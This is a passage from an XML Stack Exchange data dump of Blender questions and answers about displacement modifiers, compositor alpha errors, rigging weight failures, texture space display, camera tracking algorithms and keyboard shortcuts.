(Default)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Settings to compare:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ILQx.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SlTA4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result (left rendered, right image editor)&#xA;&lt;a href=&quot;https://de.wikipedia.org/wiki/Mond#mediaviewer/Datei:Full_Moon_Luc_Viatour.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image source&lt;/a&gt; by Luc Viatour / www.Lucnix.be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p4TZY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result zoomed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6N6fZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-22T10:17:08.507" LastActivityDate="2014-06-22T10:17:08.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13403" PostTypeId="2" ParentId="13385" CreationDate="2014-06-22T11:46:17.627" Score="5" Body="&lt;p&gt;The following is a way to handle displacement in a way that offers a lot of control and works very well for baking various types of maps including normals, height and ambient occlusion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, add a multi-res modifier to your model as shown in the following image.  &lt;img src=&quot;https://i.stack.imgur.com/YqfR3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now make sure you are back in Object mode and increase the number of subdivisions for the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uzguJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the mesh is ready for geometry displacement you can add a Displace modifier as shown here.  &lt;img src=&quot;https://i.stack.imgur.com/XReyy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now once you've added displacement it could look something like the following &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For people that don't know this already, if you right-click on an image here on StackExchange, then choose 'View Image' you will be able to see the larger version so detail is more clear.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVgsJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the nodes, I've used the same basic setup as username:GiantCowFilms with a brightness/contrast node added in to adjust the mix between Shiny and Diffuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same image is being used for the Material and the Displace Modifier.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvgBV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-20T14:42:21.427" LastActivityDate="2015-04-20T14:42:21.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13404" PostTypeId="1" AcceptedAnswerId="13405" CreationDate="2014-06-22T14:05:32.040" Score="1" ViewCount="2519" Body="&lt;p&gt;I was changing some render settings, now for some reason when my image finishes rendering it turns solid white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/clo0ohf8gsybbwi/Camaro.blend&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4919" LastEditorUserId="599" LastEditDate="2014-06-22T18:18:08.767" LastActivityDate="2017-07-08T08:52:57.443" Title="Render turns white on completion" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13405" PostTypeId="2" ParentId="13404" CreationDate="2014-06-22T14:17:21.073" Score="4" Body="&lt;p&gt;In the compositor you have plugged the 'Alpha' channel into the 'Image' output and the 'Z' channel into the 'Alpha' output. The image doesn't yet have an alpha channel (you just need to enable 'Transparent' under the 'Film' section of the 'Render' tab) and so the final image appears blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you may have just accidentally connected the alpha channel to the output, rather than wanting it, to output a normal image the connections should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxZ7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-06-22T14:17:21.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13407" PostTypeId="1" AcceptedAnswerId="15782" CreationDate="2014-06-22T16:20:37.717" Score="11" ViewCount="1887" Body="&lt;p&gt;Blender has a very irritating quirk in which it fails to save an image that you have painted on, when the .blend is saved. To fix this you have to remember to use &quot;save as image&quot;, before you save the .blend. Is there anyway to automatically save the image when saving the .blend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;script free&lt;/strong&gt; solution(or a script that runs whenever I save, no matter which button/keyboard short cut.)would be of great value!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-15T16:22:12.333" LastActivityDate="2014-12-15T16:22:12.333" Title="Auto save images along with .blend" Tags="&lt;scripting&gt;&lt;image&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13411" PostTypeId="1" AcceptedAnswerId="13413" CreationDate="2014-06-22T23:52:52.083" Score="2" ViewCount="2266" Body="&lt;p&gt;I've worked on this character mesh and when I parent the rig to the mesh, I get a &quot;bone heat weighting&quot; error and nothing happens. Can anyone fix this?&#xA;Here is the link to the &lt;a href=&quot;https://dl.dropboxusercontent.com/u/57591352/Zoey3.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture, just to let you know what the setup looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zAJu0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="599" LastEditDate="2014-06-23T06:57:18.613" LastActivityDate="2014-06-23T06:57:18.613" Title="Parenting with automatic weights fails with an error?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13412" PostTypeId="1" AcceptedAnswerId="43065" CreationDate="2014-06-23T03:36:00.543" Score="5" ViewCount="2048" Body="&lt;p&gt;I'm trying to understand the use of the &quot;Image&quot; option and how it works with the &quot;Override&quot; box on the UV Project Modifier. I'm using this file to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/756/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=756&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(there is a scene for BLender Internal and one for Cycles) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I'm overlooking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RamEL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Internal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select an image on the modifier, and click the &quot;Override Image&quot; box, the selected image will only get displayed on the object if &quot;Multitexture&quot; Shading is enabled. If I hit render I get the original texture, not the one projected by the modifier (even if the box is checked in the material-&gt;Options-&gt;UV Project) The original texture is indeed using the projector's coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multitexture&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yln6v.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/99lz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In GLSL shading the Image option has no effect: the selected image never gets displayed projected over, and the object keeps its original texture regardless of the state of the Override box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GgHGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cycles&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the image setting has no visible effect either .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HuyrP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I can't make the image selected on the modifier show up for preview or in the final render, even if the modifier is applied... So what is the purpose of selecting an image in this box?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-12-15T07:41:32.667" Title="Image setting in UV Project Modifier" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13413" PostTypeId="2" ParentId="13411" CreationDate="2014-06-23T06:54:50.223" Score="1" Body="&lt;p&gt;It is the model's hair which leads to the error it isn't symmetrical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you separate the hair from the rest of the model it works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select one of the hair's faces &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;P&lt;/kbd&gt; shows the separate popup, Choose &lt;em&gt;By Material&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can parent it later to the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the mesh&lt;/li&gt;&#xA;&lt;li&gt;Select the Armature&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; With automatic weights&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o6pU7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: When exporting from &lt;em&gt;MakeHuman&lt;/em&gt; you can also export with a rig (personally I prefer the MHX rig because it doesn't pollute the outliner with all these WGT* objects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/1530/what-are-the-not-so-obvious-features-of-rigify&quot;&gt;What are the not so obvious features of Rigify?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-23T06:54:50.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13415" PostTypeId="1" AcceptedAnswerId="13424" CreationDate="2014-06-23T10:52:12.010" Score="9" ViewCount="2476" Body="&lt;p&gt;I have a video, consisting of several shots with cuts between them. I would like to make some 3D reconstruction within it. Particulatly, I would like to place some excess 3D modelled objects into the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Movie Clip Editor&lt;/code&gt; I can load some clip from external file and make some reconstruction against it. But this reconstruction should not extend the shots margins. How to denote shot margins here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Video Sequence Editor&lt;/code&gt; I can cut strips, but these cuts are seem to be unrelated with what happening in &lt;code&gt;Movie Clip Editor&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any relation between them, or they are completely separate? Can I load some strip into &lt;code&gt;Movie Clip Editor&lt;/code&gt;, or perform clip editing on strips from &lt;code&gt;Video Sequence Editor&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastActivityDate="2014-06-23T13:36:38.727" Title="Is there any relation between Movie Clip Editor and Video Sequence Editor?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13417" PostTypeId="1" AcceptedAnswerId="82237" CreationDate="2014-06-23T11:32:32.400" Score="22" ViewCount="25935" Body="&lt;p&gt;When I attempt to triangulate a mesh I end up with that dotted yellow bounding box when I mistakenly press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;t&lt;/kbd&gt; instead of &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;t&lt;/kbd&gt;.  I cannot get rid of it by using &lt;em&gt;Undo&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, it has something to do with Texture Space but I cannot find anything in the Object Data panel that will remove it once it's there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know how to get rid of this and set things back to how they were before I hit that wrong shortcut?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hoitv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="241" LastEditDate="2014-06-23T11:42:40.943" LastActivityDate="2017-06-27T09:55:08.983" Title="yellow dotted wireframe appears when I mistakenly press Shift-t instead of Ctrl-t" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13418" PostTypeId="2" ParentId="13417" CreationDate="2014-06-23T11:41:47.130" Score="36" Body="&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; does indeed turn on the 'Texture Space' display mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable it go to &lt;em&gt;Object&lt;/em&gt;&gt; &lt;em&gt;Display&lt;/em&gt;&gt; &lt;em&gt;Texture Space&lt;/em&gt; and untick the checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdTOU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-06-23T11:41:47.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13419" PostTypeId="1" AcceptedAnswerId="13420" CreationDate="2014-06-23T12:15:56.683" Score="3" ViewCount="274" Body="&lt;p&gt;There are plenty of modern and effective features, which are suitable for camera tracking, like &lt;a href=&quot;http://en.wikipedia.org/wiki/SURF&quot; rel=&quot;nofollow&quot;&gt;SURF&lt;/a&gt;. Does blender use them? Apparently not, because it's camera tracking feature requires a lot of by-hand operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use that modern features in blender? Probably licensing prevents this, but may be there is some workaround for the problem?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastActivityDate="2014-06-23T12:52:17.393" Title="Use modern features like SURF in camera tracking?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13420" PostTypeId="2" ParentId="13419" CreationDate="2014-06-23T12:52:17.393" Score="6" Body="&lt;p&gt;Blender currently uses a KLT-Tracker &lt;a href=&quot;http://en.wikipedia.org/wiki/Kanade%E2%80%93Lucas%E2%80%93Tomasi_feature_tracker&quot;&gt;(Kanade–Lucas–Tomasi)&lt;/a&gt; which is documented &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Motion_Tracking&quot;&gt;here&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While algorithms like &lt;a href=&quot;http://en.wikipedia.org/wiki/Scale-invariant_feature_transform&quot;&gt;SIFT&lt;/a&gt; and SURF are patented, &lt;a href=&quot;http://docs.opencv.org/trunk/doc/py_tutorials/py_feature2d/py_orb/py_orb.html&quot;&gt;ORB (Oriented Brief)&lt;/a&gt; could be an alternative (BSD licensed) it was developed in 2011 and is already implemented in &lt;a href=&quot;http://opencv.org/&quot;&gt;openCV&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.vision.cs.chubu.ac.jp/CV-R/pdf/Rublee_iccv2011.pdf&quot;&gt;ORB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have no idea whether there are plans to use other algorithms in Blender.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-23T12:52:17.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13421" PostTypeId="2" ParentId="8101" CreationDate="2014-06-23T13:01:24.403" Score="1" Body="&lt;p&gt;I use blener 2.7a. I had the same problem. but only if I use &quot;Image Crop&quot; function and sRGB as &quot;Input Color&quot;. The thin line you referring to is 2 pixels in height, one pixel above bottom, so the last line of pixel remains sound, right? Checking &quot;Convert Float&quot; under &quot;Filter&quot; resolved the problem for the above settings on my system! Although I do not really know, what it does. Hope this helps...&#xA;Besides, my input-file is MTS from Lumix GH2.&lt;/p&gt;&#xA;" OwnerUserId="4927" LastActivityDate="2014-06-23T13:01:24.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13422" PostTypeId="1" AcceptedAnswerId="13516" CreationDate="2014-06-23T13:11:24.830" Score="2" ViewCount="8861" Body="&lt;p&gt;How do I crop an image loaded from a file in Blender (using a Python script). The standard Python's Image.crop() function doesn't seem to be available in the Image class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote some code by myself, which copies specified pixels of the original image but the output image is somehow screwed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the original image (some gfx from deviantart): &lt;a href=&quot;http://postimg.org/image/xegpwy0ur&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/xegpwy0ur&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the image after processing - i took a 100x100 fragment (first 10000 pixels of the original image): &lt;a href=&quot;http://postimg.org/image/c57j2vvjp&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/c57j2vvjp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the code: &lt;a href=&quot;http://pastecode.org/index.php/view/5045500&quot; rel=&quot;nofollow&quot;&gt;http://pastecode.org/index.php/view/5045500&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="4928" LastEditDate="2014-06-25T06:48:11.183" LastActivityDate="2014-06-26T18:52:16.273" Title="Crop image with Python script" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13423" PostTypeId="2" ParentId="12328" CreationDate="2014-06-23T13:18:21.313" Score="4" Body="&lt;p&gt;Adding a Decimate Modifier to the text before the Curve Modifier, with the default Decimate values with Planar selected, seems to improve the situation to my eye. But granted, at the expense of some other (perhaps acceptable or even likeable) deformation. Here is a before and after, with modifier values shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ucEwm.jpg&quot; alt=&quot;Original ferde.blend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42GEB.jpg&quot; alt=&quot;Modified ferde.blend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding Triangulate and EdgeSplit modifiers after Decimate may improve smoothness a bit:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cF731.png&quot; alt=&quot;Detail of modifier stack&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pdOSs.jpg&quot; alt=&quot;Final output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="621" LastEditDate="2014-06-27T13:40:41.063" LastActivityDate="2014-06-27T13:40:41.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13424" PostTypeId="2" ParentId="13415" CreationDate="2014-06-23T13:36:38.727" Score="7" Body="&lt;p&gt;In the Movie Clip Editor you can define the duration of the clip by setting start and frame offset and using the Footage settings tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cPSu7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events on the Video sequence editor are not connected with the Movie Clip Editor in any way. The VSE has its own viewer, unrelated to the MCE . You can only load Strips and edit on the VSE. The 3D scene can be loaded into the VSE as a strip, but the events on the VSE are not available in the 3D environment. There is an addon to send VSE strips to the compositor and back (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?221567-Edit-strip-with-compositor&quot; rel=&quot;noreferrer&quot;&gt;link to blenderartist's thread&lt;/a&gt;), but it's not a fully implemented solution yet.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-23T13:36:38.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13425" PostTypeId="1" CreationDate="2014-06-23T13:38:56.283" Score="0" ViewCount="306" Body="&lt;p&gt;I designed a home interior and it includes wooden floor also. I used the UV/Image Editor to generate images to draw home interior in Open GLES but I failed to generate the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that the Texture Coordinate array is not complete, that means many numbers of the coordinates are not available in the array it only shows comma separated blank spaces(using &lt;a href=&quot;https://github.com/HBehrens/obj2opengl/blob/master/obj2opengl.pl&quot; rel=&quot;nofollow noreferrer&quot;&gt;obj2opengl.pl&lt;/a&gt; to generate the array). I added an example image, I have to generate images like this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QZUJQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="1363" LastEditDate="2014-06-23T16:18:27.413" LastActivityDate="2014-10-22T08:45:12.093" Title="How to generate texture image for home interior and how to use it in OpenGL ES?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2014-10-22T21:33:26.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="13426" PostTypeId="1" AcceptedAnswerId="13427" CreationDate="2014-06-23T14:38:44.097" Score="2" ViewCount="777" Body="&lt;p&gt;I'm new in game modeling and animation, and I really liked how ZBrush works, but blender is better in animation, much easier, but too difficult with modeling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I animate a model made in zBrush?&lt;br&gt;&#xA;If yes, how can I do it?.&lt;/p&gt;&#xA;" OwnerUserId="4930" LastEditorUserId="241" LastEditDate="2020-06-06T16:57:49.637" LastActivityDate="2020-06-06T16:57:49.637" Title="Can I animate a model made in ZBrush?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;external-applications&gt;&lt;zbrush&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13427" PostTypeId="2" ParentId="13426" CreationDate="2014-06-23T14:59:31.457" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes, you can&lt;/strong&gt;, here is how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export your model from zbrush(id recommend a .obj).in blender you can open the .obj useing (File&gt;Import&gt;Wavefront Obj)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your model is ready for animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;In zbursh it is important that you do not export a raw sculpt, since that will not work for animation in &lt;em&gt;any&lt;/em&gt; software. Always retopoligize it.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorDisplayName="user1853" LastEditDate="2014-06-23T18:46:35.133" LastActivityDate="2014-06-23T18:46:35.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13429" PostTypeId="1" CreationDate="2014-06-23T15:07:16.763" Score="0" ViewCount="3407" Body="&lt;p&gt;I'm sure this is something silly I'm doing wrong here but I can't find a solution at all. My texture is 2048x2048 and I'm trying to paint details on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I draw the brush looks blocky/pixelated though. The stroke looks like it has a low resolution. The smaller the radius the worse it looks and painting side to side looks better than when painting up and down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tK7W4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could try to help me out here, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="4929" LastEditorUserId="2217" LastEditDate="2014-06-23T15:29:44.820" LastActivityDate="2018-04-17T20:32:51.337" Title="Brush looks blocky/low resolution when painting textures (Pic included)" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13430" PostTypeId="1" AcceptedAnswerId="13433" CreationDate="2014-06-23T18:33:48.543" Score="9" ViewCount="11942" Body="&lt;p&gt;In edit mode I can press &lt;kbd&gt;W&lt;/kbd&gt; to bring up the specials menu, then &lt;kbd&gt;D&lt;/kbd&gt; to shade smooth. Is there any shortcut key for &lt;em&gt;shade smooth&lt;/em&gt; in object mode? I know I can assign a key, but wanted to know if there already is one in blender.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2018-04-03T22:54:19.893" Title="Shortcut key for smooth shading" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13431" PostTypeId="1" AcceptedAnswerId="13435" CreationDate="2014-06-23T18:55:46.643" Score="1" ViewCount="973" Body="&lt;p&gt;I would like to turn a specific blender scene into an animated sky box I can use in other animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D%3a_Noob_to_Pro/Build_a_skybox&quot; rel=&quot;nofollow&quot;&gt;This old tutorial&lt;/a&gt; is the top google search result for &quot;blender sky box&quot;, but it's for an old version of blender, and some of the buttons it references no longer exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several tutorials on how to set the sky box if you already have an image, but I have yet to find a modern HOWTO that lays out how to create the sky box image from a scene.  How do I accomplish this?  Keep in mind I want it to be animated, so I'll need to bake a hundred frames or so.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-03-24T16:22:08.057" LastActivityDate="2016-12-06T12:07:17.870" Title="how do I bake an animated sky box using cycles?" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13432" PostTypeId="1" CreationDate="2014-06-23T18:58:59.313" Score="9" ViewCount="36662" Body="&lt;p&gt;How to pan the view in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose neither &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;LMB &lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; do not work. What is the reason for this?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastEditorUserId="599" LastEditDate="2014-06-25T22:50:29.540" LastActivityDate="2018-05-21T00:44:32.673" Title="How to pan the view?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13433" PostTypeId="2" ParentId="13430" CreationDate="2014-06-23T19:42:34.970" Score="8" Body="&lt;p&gt;No. There is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two good places to look for shortcuts. The &lt;kbd&gt;Space&lt;/kbd&gt; menu, and the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dI8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were shortcuts, they would show up there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fU9jZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-23T19:42:34.970" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
